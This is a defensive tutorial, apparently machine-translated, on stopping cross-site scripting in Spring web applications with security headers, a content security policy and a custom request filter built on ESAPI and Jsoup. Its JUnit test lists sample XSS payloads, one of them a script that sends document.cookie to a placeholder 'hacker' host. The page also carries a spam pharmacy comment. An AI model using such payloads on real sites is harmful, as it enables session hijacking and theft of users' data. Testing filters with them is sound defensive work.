• notice
  • Congratulations on the launch of the Sought Tech site

Prevent cross-site scripting (XSS) in Spring applications

1 Overview

When building Spring Web applications, it is important to focus on security. Cross-site scripting (XSS) is one of the most critical attacks on web security.

In Spring applications, preventing XSS attacks is a challenge. Spring provides some help, but we need to implement additional code to provide complete protection.

In this tutorial, we will use the available Spring Security features and add our own XSS filter.

2.What is a cross-site scripting (XSS) attack?

2.1. Definition of the problem

XSS is a common type of injection attack. In XSS, an attacker attempts to execute malicious code in a web application. They interact with it through a web browser or HTTP client tools such as Postman.

There are two types of XSS attacks:

  • Reflective or non-persistent XSS

  • Stored or persistent XSS

In Reflected or Nonpersistent XSS, untrusted user data is submitted to a web application, and the web application will immediately return in the response, thereby adding untrusted content to the page. The web browser assumes that the code comes from the web server and executes it. This may cause the hacker to send you a link that, when tracked, will cause your browser to retrieve your private data from the site you use, and then cause your browser to forward it to the hacker's server.

In "stored or persistent XSS", the attacker's input is stored by the web server. Subsequently, any future visitors can execute the malicious code.

2.2. Defend against attacks

The main strategy to prevent XSS attacks is to clear user input.

In a Spring web application, the user's input is an HTTP request. To prevent attacks, we should check the content of the HTTP request and delete all content that may be executed in the server or browser.

For regular web applications accessed through a web browser, we can use Spring Security's built-in features (Reflected XSS). For web applications that expose APIs, Spring Security does not provide any functionality, and we must implement a custom XSS filter to prevent XSS from being stored.

3.Use Spring Security to make the application XSS secure

Spring Security provides several security headers by default. It includes the X-XSS-Protectionheader. X-XSS-ProtectionTell the browser to block things that look like XSS. Spring Security can automatically add this security header to the response. To activate it, we configure XSS support in the Spring Security configuration class.

With this feature, the browser will not render when it detects an XSS attempt. However, some web browsers have not yet implemented an XSS auditor. In this case, they do not use X-XSS-Protectionheaders. .To solve this problem, we can also use the content security policy (CSP) feature.

CSP is an additional layer of security that helps mitigate XSS and data injection attacks. To enable it, we need to provide the WebSecurityConfigurerAdapterbeanContent-Security-Policy

@Configuration
public class SecurityConf extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http
.headers()
.xssProtection()
.and()
.contentSecurityPolicy("script-src 'self'");
}
}

These headers can indeed protect the REST API from stored XSS. In order to solve this problem, we may also need to implement an XSS filter.

4.Create an XSS filter

4.1. Use XSS filter

To prevent XSS attacks, we will RestControllerremove all suspicious strings from the request content before passing the request to:

prevent-cross-site-scripting-xss-in-a-spring-application.png

The HTTP request content includes the following parts:

  • Request header

  • Parameters

  • Request body

Generally, for every request , we should remove malicious code from headers, parameters, and body.

We will create a filter to evaluate the requested value. The XSS filter checks the parameters, headers and body of the request.

Let's Filtercreate an XSS filter by implementing the interface:

@Component
@Order(Ordered.HIGHEST_PRECEDENCE)
public class XSSFilter implements Filter {
@Override
public void doFilter(ServletRequest request, ServletResponse response,

FilterChain chain) throws IOException, ServletException {
XSSRequestWrapper wrappedRequest =
new XSSRequestWrapper((HttpServletRequest) request);
chain.doFilter(wrappedRequest, response);
}
// other methods
}

We should configure the XSS filter as the first filter in the Spring application. Therefore, we set the order of the filters to HIGHEST_PRECEDENCE.

In order to add data cleansing to the request, we will create a named XSSRequestWrapper, HttpServletRequestWrappersubclass, which will override getParameterValuesgetParameterand getHeadersmethods to perform XSS checks before providing data to the controller.

4.2. Strip XSS from request parameters

Now, let's getParameterValuessum in the request wrappergetParameter

public class XSSRequestWrapper extends HttpServletRequestWrapper {
@Override
public String[] getParameterValues(String parameter) {
String[] values = super.getParameterValues(parameter);
if (values == null) {
return null;
}
int count = values.length;
String[] encodedValues = new String[count];
for (int i = 0; i < count; i++) {
encodedValues[i] = stripXSS(values[i]);
}
return encodedValues;
}
@Override
public String getParameter(String parameter) {
String value = super.getParameter(parameter);
return stripXSS(value);
}
}

We will write a stripXSSfunction to handle each value. We will implement it as soon as possible.

4.3. Strip XSS from request header

We also need to strip the XSS from the request header. When getHeadersreturning one Enumerationwe will need to generate a new list to clean up each header:

@Override
public Enumeration getHeaders(String name) {
List result = new ArrayList<>();
Enumeration headers = super.getHeaders(name);
while (headers.hasMoreElements()) {
String header = headers.nextElement();
String[] tokens = header.split(",");
for (String token : tokens) {
result.add(stripXSS(token));
}
}
return Collections.enumeration(result);
}

4.4. Strip the XSS from the request body

Our filter needs to remove dangerous content from the request body. Since we already have wrappedRequest InputStreama wrappedRequest that can be used, let's extend the code to handle the body and after clearing itInputStream

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)

throws IOException, ServletException {
XSSRequestWrapper wrappedRequest = new XSSRequestWrapper((HttpServletRequest) request);
String body = IOUtils.toString(wrappedRequest.getReader());
if (!StringUtils.isBlank(body)) {
body = XSSUtils.stripXSS(body);
wrappedRequest.resetInputStream(body.getBytes());
}
chain.doFilter(wrappedRequest, response);
}

5.Use external libraries for data cleaning

Now, all the code that reads the request stripXSSexecutes the stripXSS function on any content provided by the user. Now let's create the function to perform XSS check.

First, this method will get the requested value and normalize it. For this step, we use ESAPI . ESAPI is an open source web application security control library available from OWASP.

Second, we will check the requested value based on the XSS mode. If the value is suspicious, it will be set to an empty string. For this, we will use Jsoup, which provides some simple cleanup functions. If we want more control, we can build our own regular expressions, but this may be more error-prone than using libraries.

5.1 Dependency

First, we add the esapimaven dependency to our pom.xmlfile:

<dependency>
<groupId>org.owasp.esapi</groupId>
<artifactId>esapi</artifactId>
<version>2.2.2.0</version>
</dependency>

In addition, we need jsoup:

<dependency>
<groupId>org.jsoup</groupId>
<artifactId>jsoup</artifactId>
<version>1.13.1</version>
</dependency>

5.2 Code implementation

Now, let's create the stripXSSmethod:

public static String stripXSS(String value) {
if (value == null) {
return null;
}
value = ESAPI.encoder()
.canonicalize(value)
.replaceAll("\0", "");
return Jsoup.clean(value, Whitelist.none());
}

Here, we set Jsoup Whitelistto noneallow only text nodes. In this way, all HTML will be stripped.

6.Test XSS prevention

6.1. Manual test

Now, let's use Postman to send suspicious requests to our application. We will /personService/personsend a POST message to the URI . In addition, we will include some suspicious headers and parameters.

The following figure shows the request headers and parameters:

prevent-cross-site-scripting-xss-in-a-spring-application-1.png

When our service accepts JSON data, let's add some suspicious JSON content to the request body:

prevent-cross-site-scripting-xss-in-a-spring-application-2.png

When our test server returns a clear response, let's check what happened:

prevent-cross-site-scripting-xss-in-a-spring-application-3.png

The header and parameter values will be replaced with empty strings. In addition, the response body shows that our lastNamesuspicious value in the field has been deleted.

6.2. automated test

Now let's write an automated test for XSS filtering:

// declare required variables
personJsonObject.put("id", 1);
personJsonObject.put("firstName", "baeldung <script>alert('XSS')</script>");
personJsonObject.put("lastName", "baeldung <b onmouseover=alert('XSS')>click me!</b>");
builder = UriComponentsBuilder.fromHttpUrl(createPersonUrl)
.queryParam("param", "<script>");
headers.add("header_1", "<body onload=alert('XSS')>");
headers.add("header_2", "<span onmousemove='doBadXss()'>");
headers.add("header_3", "<SCRIPT>var+img=new+Image();"
+ "img.src=\"http://hacker/\"%20+%20document.cookie;</SCRIPT>");
headers.add("header_4", "<p>Your search for 'flowers <script>evil_script()</script>'");
HttpEntity<String> request = new HttpEntity<>(personJsonObject.toString(), headers);
ResponseEntity<String> personResultAsJsonStr = restTemplate
.exchange(builder.toUriString(), HttpMethod.POST, request, String.class);
JsonNode root = objectMapper.readTree(personResultAsJsonStr.getBody());
assertThat(root.get("firstName").textValue()).isEqualTo("baeldung ");
assertThat(root.get("lastName").textValue()).isEqualTo("baeldung click me!");
assertThat(root.get("param").textValue()).isEmpty();
assertThat(root.get("header_1").textValue()).isEmpty();
assertThat(root.get("header_2").textValue()).isEmpty();
assertThat(root.get("header_3").textValue()).isEmpty();
assertThat(root.get("header_4").textValue()).isEqualTo("Your search for 'flowers '");

7.Conclusion

In this article, we learned how to prevent XSS attacks by using Spring Security features and custom XSS filters at the same time.

We saw how it protects us from reflective XSS attacks and persistent XSS attacks. We also studied how to use Postman and JUnit tests to test applications.


Tags

Technical otaku

Sought technology together

Related Topic

3 Comments

author

lipitor 10mg canada & lt;a href="https://lipiws.top/"& gt;lipitor 40mg drug& lt;/a& gt; lipitor 40mg uk

Vyotfx

2024-03-10

author

This is just what I& #39;ve been looking for! Can you provide the code in GitHub?

ADS

2022-08-19

author

Is there an implementation of resetInputStream& #40;& #41; available ? I don& #39;t see one here

Natch

2022-05-11

Leave a Reply

+